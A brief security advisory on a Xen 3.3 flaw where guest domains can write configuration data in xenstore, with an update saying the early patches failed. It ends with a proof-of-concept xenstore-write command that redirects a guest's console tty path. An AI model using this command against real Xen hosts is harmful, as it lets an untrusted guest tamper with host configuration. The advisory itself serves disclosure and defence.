Xen is prone to a vulnerability that results in configuration information being stored in a location that is writable by guest domains.
UPDATE (December 19, 2008): The initial proposed patches did not resolve this issue.
Xen 3.3 is vulnerable; other versions may also be affected.
#yum install xen
# xenstore-write /local/domain/GUEST-DOMID/console/tty /i/am/the/evil/guest